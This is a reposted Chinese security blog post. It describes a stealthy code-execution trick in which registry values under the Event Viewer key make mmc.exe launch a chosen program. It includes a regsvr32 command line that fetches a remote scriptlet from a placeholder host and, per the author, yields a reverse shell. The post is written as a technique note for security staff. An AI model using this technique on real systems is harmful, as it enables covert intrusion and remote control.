文章总结: 文档介绍了Windows系统中mmc.exe(事件查看器)的一个安全技巧,通过修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\EventViewer中的三个键值(MicrosoftRedirectionProgram、MicrosoftRedirectionURL和MicrosoftRedirectionProgramCommandLineParameters),可以实现隐蔽的代码执行。作者演示了如何利用这些键值执行自定义程序,甚至通过regsvr32.exe参数设置获取反弹shell。虽然这种方法有些鸡肋,但非常隐蔽,是一种值得安全人员注意的攻击技术。
综合评分: 86
文章分类: 漏洞分析,渗透测试,应急响应,红队,安全建设
mmc的tips
原创
MicroPest
MicroPest
2023年4月12日 21:07
安徽
mmc.exe是什么?百度百科:mmc.exe是系统管理程序的一个框架程序,全称是Microsoft Management Console,它提供给扩展名为msc的管理程序一个运行的平台,比如组策略,系统清单,以及打印管理、本地安全策略等等,另外本进程也可能同时运行两个或更多个。
那“事件查看器”是什么,不也是mmc.exe嘛,难道这两个本来就是一个东西?平时还真没注意到。
今天的点就是关于“事件查看器”的,这个我们很熟悉,经常用到嘛,但我们是真是熟悉么,不见得,我就是被虐了一把。
在“注册表”的这个位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer
有三个键:
这三个键有什么作用呢?
我先生成一个空的exe程序,
1、填充在上面的第一个键值处MicrosoftRedirectionProgram,当被调用时弹出一个窗体,表示被执行了:
现在,运行“事件查看器”,随便选一个事件打开,如下:
点击“事件日志联机帮助”,弹出下图,选择“是”,
这时候就会弹出我们的空程序窗体,表明在这里是通过注册表中那个键值运行了我们的程序。
2、填充在第三个键值处MicrosoftRedirectionURL:
当我们进行同1一样的操作时,也会调用我们的程序,如下显示父进程mmc调用了程序1.exe。
3、MicrosoftRedirectionProgramCommandLineParameters:
这里是第一个键值的参数值。如果第一键值处我们设置为regsvr32.exe,先来看下regsvr32.exe这个程序的参数:
那么,我们这里设置为:/s/n/u/ihttp://ip:port/program.sct program.dll,当点击后,出现了反弹shell,
至此,这里的tips演示完毕。实说,这三个键值的利用有点“鸡肋”,但不失为一种很隐蔽的方法。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MicroPest MicroPest《mmc的tips》